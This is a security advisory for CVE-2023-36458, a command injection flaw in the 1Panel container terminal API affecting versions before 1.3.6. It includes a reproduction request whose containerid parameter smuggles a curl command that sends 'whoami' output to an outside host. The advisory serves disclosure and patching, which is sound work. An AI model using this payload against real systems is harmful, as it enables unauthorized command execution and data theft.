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1Panel vulnerable to command injection when entering the container terminal

Moderate severity GitHub Reviewed Published Jul 4, 2023 in 1Panel-dev/1Panel • Updated Nov 11, 2023

Package

gomod github.com/1Panel-dev/1Panel (Go)

Affected versions

< 1.3.6

Patched versions

1.3.6

Description

Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

  1. Vulnerability analysis.
backend\app\api\v1\terminal.go#ContainerWsSsh

image

  1. vulnerability reproduction.
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
  1. The successful execution of system commands.
    image

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at [email protected]

References

@wanghe-fit2cloud wanghe-fit2cloud published to 1Panel-dev/1Panel Jul 4, 2023
Published by the National Vulnerability Database Jul 5, 2023
Published to the GitHub Advisory Database Jul 5, 2023
Reviewed Jul 5, 2023
Last updated Nov 11, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

EPSS score

0.101%
(43rd percentile)

Weaknesses

CVE ID

CVE-2023-36458

GHSA ID

GHSA-7x2c-fgx6-xf9h

Source code

Credits

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